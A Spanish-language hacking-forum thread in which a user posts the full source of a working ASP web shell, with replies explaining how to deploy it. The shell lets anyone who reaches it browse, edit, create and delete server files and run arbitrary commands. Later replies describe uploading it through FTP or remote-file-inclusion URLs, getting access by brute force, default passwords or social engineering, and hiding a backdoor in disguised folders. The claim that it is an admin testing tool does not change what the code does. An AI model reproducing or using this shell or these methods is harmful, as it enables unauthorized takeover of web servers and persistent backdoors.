Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Morris en 8 Febrero 2005, 04:13 am


Título: Mi Primer ASP Shell
Publicado por: Morris en 8 Febrero 2005, 04:13 am
Pues vamos al grano... no encontré un buen shell en ASP y decidí hacer uno y de paso practicar mi ASP.
[broma]
(creo que me tardé más en escribir MORRIS con "#" para firmarlo que en hacer el código, jajajaja)
[/broma]

Explota malas configuraciones del IIS.

Espero comentarios, sugerencias, mejoras, errores y testeos.

Morris

Código
  1. <%
  2. Propiedad = "www.elhacker.net"
  3.  
  4. ' Este shell servirá en servidores con una mala configuración si el servidor NO ES vulnerable MANDARA ERRORES
  5. ' Esta herramienta ha sido creada para ayudar a los administradores a probar la configuración de su IIS
  6. ' NO ME HAGO RESPONSABLE POR EL MAL USO QUE SE LE DE A ESTA HERRAMIENTA
  7. ' Cualquier comentario y mejora se agradecerá morris@elhacker.net
  8. ' Este material es educacional y se debe de usar de la misma forma
  9. ' Si encuentras un servidor vulnerable que no sea tuyo, avisa al administrador. El te lo agradecerá.
  10.  
  11. ' http://foro.elhacker.net/index.php/topic,56790.0.html
  12. ' ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### 
  13. ' ##### ##### ##### ##### VISITANOS EN ##### ##### ##### ##### 
  14. ' ##### ##### ##### ##### FORO.elhacker.net ##### ##### ##### ##### 
  15. ' ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### 
  16.  
  17. ' Code by Morris
  18.  
  19. ' ####       ####    #####    ######    ######    ##     ####
  20. ' ####      #####   #     #   ##    #   ##    #   ##    #
  21. ' ##  #    #   ##   #     #   ## ###    ## ###    ##     #####
  22. ' ##   #  #    ##   #     #   ##  #     ##  #     ##          #
  23. ' ##    #      ##    #####    ##   #    ##   #    ##     #####
  24.  
  25.  
  26. ON ERROR RESUME NEXT
  27. Archivo = "myshell.asp"
  28. Accion = Request.QueryString("Accion")
  29. Path = Request.QueryString("Path")
  30. 	IF Path = "" THEN
  31. 	Path = Server.MapPath(".")
  32. 	END IF
  33. PathFile = Request.QueryString("PathFile")
  34.  
  35. ' Crea instancia del FileSystemObject
  36. Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject")
  37. ' Create el objeto Folder
  38. Set MyFolder=MyFileObject.GetFolder(Path)
  39. 'Loop a través de los folders
  40.  
  41. FUNCTION MapURL(path)
  42. ON ERROR RESUME NEXT
  43.      dim rootPath, url
  44.  
  45.      'Convierte la ruta fisica por una virtual para abrir los archivos
  46.  
  47.      rootPath = Server.MapPath("/")
  48.      url = Right(path, Len(path) - Len(rootPath))
  49.      MapURL = Replace(url, "\", "/")
  50.  
  51. END FUNCTION 
  52.  
  53. ' RetVal = Shell("C:\WINDOWS\CALC.EXE", 1)   ' Run Calculator.
  54. 'response.Write(Path)
  55. %>
  56.  
  57. <%
  58. IF Propiedad = "" OR Propiedad <> "www.elhacker.net" THEN
  59. Response.Write("<h1><font color=Red>Maldito lammer no borres la propiedad de este código -  <br>Propiedad www.elhacker.net - foro.elhacker.net</font></h1>")
  60. Response.end
  61. END IF
  62. IF Accion = "Guardar" THEN
  63.  
  64. Set MyOutStream=MyFileObject.OpenTextFile(PathFile, 2, TRUE)
  65.   MyOutStream.Write(Request.Form("texto"))
  66. MyOutStream.Close
  67. %>
  68. La información ha sido guardada.
  69. <br>
  70. <a href="javascript:history.go(-2)">Regresar</a>
  71. <%
  72. END IF
  73.  
  74. IF Accion = "Ejecutar" THEN
  75. On Error Resume Next
  76. Dim Shell, Ejecutar
  77. Set Shell = CreateObject("WScript.Shell")
  78. Archivo = Request.QueryString("Archivo")
  79. Set Ejecutar = Shell.Exec(Archivo)
  80. Do While Ejecutar.Status = 0
  81.      WScript.Sleep 100
  82. Loop
  83. WScript.Echo Ejecutar.Status
  84. Response.Write("done")
  85. END IF
  86.  
  87. IF Accion = "Nuevo" THEN
  88. Archivo = Request.QueryString("Archivo")
  89. 	IF Archivo = "" THEN
  90. 	Archivo = "ArchivoNuevo.txt"
  91. 	END IF
  92.  
  93. Set fso = CreateObject("Scripting.FileSystemObject")
  94. Set MyFile = fso.CreateTextFile(PathFile & "\" & Archivo, True)
  95. MyFile.WriteLine("This is a test.")
  96. MyFile.Close
  97. END IF
  98.  
  99. IF Accion = "Borrar" THEN
  100. Set fso = CreateObject("Scripting.FileSystemObject")
  101. Set MyFile = fso.GetFile(PathFile)
  102. MyFile.Delete
  103. END IF
  104.  
  105. IF Accion = "Editar" THEN%>
  106.  
  107. <form action="<%=Archivo%>?Accion=Guardar&PathFile=<%=PathFile%>" method="post">
  108. <textarea name="texto" cols=100 rows=25>
  109. <%
  110.  Set MyTextFile = MyFileObject.OpenTextFile(PathFile)
  111.  WHILE NOT MyTextFile.AtEndOfStream
  112. Response.Write( Server.HTMLEncode(MyTextFile.ReadLine) & Chr(10))
  113.  WEND
  114.  MyTextFile.Close
  115. %>
  116. </textarea>
  117. <BR>
  118. <input type=submit value="Guardar">
  119. </form>
  120.  
  121.  
  122. <%
  123. Response.end
  124. END IF
  125. %>
  126. <HTML>
  127. <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#000000" VLINK="#000000">
  128. <p><BR>
  129.     <B>ASPShell by Morris - Version 1.0 - <a href="http://www.elhacker.net">elhacker.net</a></B><BR>
  130. </p>
  131. <form action="<%=Archivo%>">
  132. <input name="Accion" type="hidden" value="Ruta">
  133. <input name="Path" type="text" id="Path" value="<%=Path%>" size="70">
  134. <input type="submit" value="Ir">
  135. </form>
  136. <br>
  137.  
  138. <TABLE BORDER=0 CELLPADDING=3 CELLSPACING=0 width="100%">
  139. <TR BGCOLOR="#000000">
  140. <TD><FONT COLOR="#FFFFFF"><B>Nombre de Archivo:</B></FONT></TD>
  141. <TD><FONT COLOR="#FFFFFF"><B>Acciones:</B></FONT></TD>
  142. <TD><FONT COLOR="#FFFFFF"><B>Tamaño:</B></FONT></TD>
  143. <TD><FONT COLOR="#FFFFFF"><B>Tipo de archivo:</B></FONT></TD>
  144. <TD><FONT COLOR="#FFFFFF"><B>Fecha de creación:</B></FONT></TD>
  145.  
  146. <%
  147. FOR EACH thing in MyFolder.SubFolders
  148. ON ERROR RESUME NEXT
  149. %>
  150. <TR BGCOLOR="#F7F7E7">
  151. <TD><A HREF="<%=Archivo%>?Path=<%=Path%>\<%=thing.Name%>">[ <%=thing.Name%> ]</A></TD>
  152. <TD></TD>
  153. <TD ALIGN=RIGHT><%=thing.Size%>bytes</TD>
  154. <TD><%=thing.Type%></TD>
  155. <TD><%=thing.DateCreated%></TD> 
  156. <%
  157. NEXT
  158. 'Loop a través de los archivos
  159. FOR EACH thing in MyFolder.Files
  160. ON ERROR RESUME NEXT
  161. url = MapURL(thing.path)
  162. %>
  163.  
  164.  
  165. <TR BGCOLOR="#F7F7E7">
  166. <TD><A HREF="<%=Archivo%>?Path=<%=Path%>\<%=thing.Name%>&Accion=Editar"><%=thing.Name%></A></TD>
  167. <TD><A HREF="<%=Archivo%>?Path=<%=Path%>&PathFile=<%=Path%>\<%=thing.Name%>&Accion=Borrar">Borar</A></TD>
  168. <TD ALIGN=RIGHT><%=thing.Size%>bytes</TD>
  169. <TD><%=thing.Type%></TD>
  170. <TD><%=thing.DateCreated%></TD> 
  171. <%
  172. NEXT
  173. %>
  174. </TABLE>
  175.  
  176.  
  177. Total de directorios
  178. <%
  179. Response.Write(MyFolder.SubFolders.Count )
  180. %>
  181.  
  182. Total de archivos
  183. <%
  184. Response.Write(MyFolder.Files.Count )
  185. %>
  186. <br><br>
  187. <form name="form1" action="<%=Archivo%>">
  188. <input name="Path" type="hidden" value="<%=Path%>">
  189. <input name="PathFile" type="hidden" value="<%=Path%>">
  190. <input name="Accion" type="hidden" value="Nuevo">
  191.   <input name="Archivo" type="text" id="Archivo" value="Nombre Archivo.ext">
  192.   <input name="Submit" type="submit" value="Nuevo Archivo">
  193. </form>
  194. <strong><font color="#FF0000">Lo más recomendable es subir un .bat y ejecutar ese archivo poniendo la ruta completa hasta el .bat </font></strong>
  195. <form name="form1" action="<%=Archivo%>">
  196. <input name="Path" type="hidden" value="<%=Path%>/archivo.bat">
  197. <input name="PathFile" type="hidden" value="<%=Path%>">
  198. <input name="Accion" type="hidden" value="Ejecutar">
  199.   <input name="Archivo" type="text" id="Archivo" value="<%Path%>">
  200.   <input name="Submit" type="submit" value="Ejecutar">
  201. </form>
  202.  
  203. </BODY>
  204. </HTML>
  205.  
  206. <%
  207. Response.Write("Visitanos en foro.elhacker.net")
  208. %>
  209.  

Título: Re: Mi Primer ASP Shell
Publicado por: Natanael en 10 Abril 2005, 14:45 pm
Eso es lenguaje HTMl?
Como se usa?

Título: Re: Mi Primer ASP Shell
Publicado por: + enrique ZP en 10 Abril 2005, 17:19 pm
Cita de: Natanael en 10 Abril 2005, 14:45 pm
Eso es lenguaje HTMl?
Como se usa?


No no es HTML lee el titulo de el post es ASP y pues se usa como cualquier otra shell creo, la subes al servidore y ella te dice el resto.

Título: Re: Mi Primer ASP Shell
Publicado por: Morris en 11 Abril 2005, 17:51 pm
Sólo súbela al servidor y ejecútala vía web... si es vulnerable verás que funciona :P

Título: Re: Mi Primer ASP Shell
Publicado por: BenRu en 11 Abril 2005, 22:19 pm
Cita de: Morris en 11 Abril 2005, 17:51 pm
Sólo súbela al servidor y ejecútala vía web... si es vulnerable verás que funciona :P

Que quieres decir con esto?Como lo subo?

Título: Re: Mi Primer ASP Shell
Publicado por: TaU en 12 Abril 2005, 02:41 am
Citar
IF Propiedad = "" OR Propiedad <> "www.elhacker.net" THEN
Response.Write("<h1><font color=Red>Maldito lammer no borres la propiedad de este código -  <br>Propiedad www.elhacker.net - foro.elhacker.net</font></h1>")
Response.end

 ;D

Título: Re: Mi Primer ASP Shell
Publicado por: + enrique ZP en 12 Abril 2005, 02:43 am
Cita de: Ruben Ruiz en 11 Abril 2005, 22:19 pm
Cita de: Morris en 11 Abril 2005, 17:51 pm
Sólo súbela al servidor y ejecútala vía web... si es vulnerable verás que funciona :P

Que quieres decir con esto?Como lo subo?


Lo que quiere decir es que te vallas a tu cliente FTP, y lo subas a la cuenta de tu host. Cuando lo hayas subido te vas a tu explorador escribes la url en donde esta localizada la shell y la ejecutas, y ella te va a dar instrucciones de como hacerlo creo.

Hasta Pronto

Título: Re: Mi Primer ASP Shell
Publicado por: dxr en 13 Abril 2005, 04:01 am
Muy buen script Morris ;) nose si algun dia lo usare pero me a gustao :)

Título: Re: Mi Primer ASP Shell
Publicado por: Morris en 13 Abril 2005, 17:54 pm
Gracias Derek :P me haz alegrado el día :D

Efectivamente suban el ASP por FTP o copienlo en la carpeta www de la forma que se les ocurra, de ahí accesen por web

http://www.dominio.com/myshell.asp

Lo demás es intuitivo.

Título: Re: Mi Primer ASP Shell
Publicado por: track1 en 14 Julio 2006, 03:51 am
Bueno ya voy entendiendo, veamos, copio el codigo, por cierto le debo poner extensión .asp, verdad?? luego la subo a mi ftp, pero como hago, mi ftp tiene user y pass, que deberia hacer?? y por ultimo voy y redirigo la web vulnerable agrgandole la direccion (page=xxx) de mi ftp. Es asi??  :-\

Título: Re: Mi Primer ASP Shell
Publicado por: Morris en 14 Julio 2006, 04:06 am
Lo cipias, lo pegas en el notepad, lo guardas con extensión asp.

Para subirlo a alguna web necesitas utilizar algún bug o subirlo por ftp (necesitas un password o un bug)

Luego entras vía http y lo ejecutas por internet explorer.

Título: Re: Mi Primer ASP Shell
Publicado por: track1 en 14 Julio 2006, 17:35 pm
Hola, esto es lo que no entiendo:  Luego entras vía http y lo ejecutas por internet explorer.
Pero como? Por ejemplo ya tengo una  web con el bug  pagina=http://www.foro.elhacker.net ,  entonces para aprovechar el bug quedaria algo asi: http://www.xxxxx.com/index.asp?pais=xxx&pagina=http://www.foro.elhacker.net
entonces  si colocora el codigo de la shell  en la web del foro tendria que agregarle  la ubicacion de la shell y quedaria algo como esto:   http://www.xxxxx.com/index.asp?pais=xxx&pagina=http://www.foro.elhacker.net/myshell.asp
Estoy en lo correcto???

Título: Re: Mi Primer ASP Shell
Publicado por: whaky en 15 Julio 2006, 00:28 am
www.paginavulnerable.com/index.asp?pais=xxx&pagina=http://www.tudominiocontushell.com/shell.asp

asi quedaria

Título: Re: Mi Primer ASP Shell
Publicado por: track1 en 15 Julio 2006, 03:36 am
Gracias Whaky, ahora solo no entiendo como podria hacer una cuenta ftp y poderla usar para tener ahi la shell, me refiero a que las cuentas ftp piden user y pass y no entiendo como podria hacer.
Me refiero que al link que se le agrega a la web vulnerable es por ejemplo asi: ftp://ftp.web.com pero cuando se quiera acceder ahi va a pedir el loggin. Como se haria??

Título: Re: Mi Primer ASP Shell
Publicado por: Morris en 18 Julio 2006, 05:22 am
Fuerza bruta.
Password default.
Bug en FTP
Robando el user y pwd mediante ingeniería social.
Con algún bug de upload que te permita subir archivos a la web.

Título: Re: Mi Primer ASP Shell
Publicado por: Man-In-the-Middle en 18 Julio 2006, 18:22 pm
Muy curro, Morris, como el que me pasastes hace un tiempo, el tema para que sirve, pues te curras, una web, te camuflas por ahi, por temp, que se io y tienes un back

ejemplo
http://www.fgfggfg.com/_vti_tmp/_vti_log/_vti_txt/_vti_root/xxxxfacer.php

este era en php,  pues me cree _vti_tmp/_vti_log/_vti_txt/_vti_root, para esconderlo bien y wuallaaa , por lo menos un año para encontrarme , Thnks Morris

Off Topic/  OLD TOPIC!!

Título: Re: Mi Primer ASP Shell
Publicado por: AdReNaLiNe en 2 Agosto 2006, 13:00 pm
eso del ftp....tp lo entiendo yo  :-[...como lo hago, me creo una cuenta ftp por ejemplo en "miarroba" y subo a "mi pagina web" ese codigo en .asp a traves de ftp o como sea no? la cuestion es tener subido en mi pagina ese codigo para poder usarlo, ahora pongo la direccion de mi pagina de forma k abra el .asp
"www.mipagina.com/codigo.asp" y asi se abriria el codigo en la shell no???

se supone k ese codigo es un xploit (corriganme por favor si me ekivoco) y k introduciendolo en otro codigo web pues me metere como administrador y podre hacer lo k kiera en la web, para hacer tal cosa tendria k poner:

www.paginaahacker.com/index.asp?pais=xxx&pagina=http://www.mipagina.com/codigo.asp

se supone k si sale bien y ese xploit es asi como se usa (k nose mucho de exploits...nose de k tipo es este ni nada   :P) me meteria directamente en la web como administrador???



Título: Re: Mi Primer ASP Shell
Publicado por: hackpsycho en 2 Agosto 2006, 18:23 pm
bueno yo tambien tengo una dudita, el ASP, ya lo subi, a un ftp

http://psychito.webcindario.com/index.asp

ese es estoy en lo correcto como lo ise??

Ahora como lo ago funcionar, o que ondas

Título: Re: Mi Primer ASP Shell
Publicado por: sirdarckcat en 3 Agosto 2006, 04:32 am
investiga sobre bugs de RFI.. y su explotacion.

Saludos!!

Título: Re: Mi Primer ASP Shell
Publicado por: AdReNaLiNe en 3 Agosto 2006, 15:12 pm
Todo lo k sea defacears webs...son metodos RFI?? (sql, etc...)

Creo k esta pregunta podria llegar al grado de estupida...pero esk necesito aclarar esa idea  ;D

Título: Re: Mi Primer ASP Shell
Publicado por: hackpsycho en 3 Agosto 2006, 20:22 pm
Cita de: Sdc en  3 Agosto 2006, 04:32 am
investiga sobre bugs de RFI.. y su explotacion.

Saludos!!

Si se que son los RFI son para PHP, verdad?? , bueno por lo k veo estos son ASP?, es lo mismo?

Título: Re: Mi Primer ASP Shell
Publicado por: sirdarckcat en 4 Agosto 2006, 02:18 am
si tambien para ASP, JSP, PHP, CFM, etc..

Saludos!!

Título: Re: Mi Primer ASP Shell
Publicado por: jac123 en 20 Mayo 2012, 20:49 pm
Hola ,  Como veo todos tienen dudas .

Pues lo suben a su servidor en .php o .html . Aqui un ejemplo de mi servidor que no funciona :

http://heddos.com/hacking.html


Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines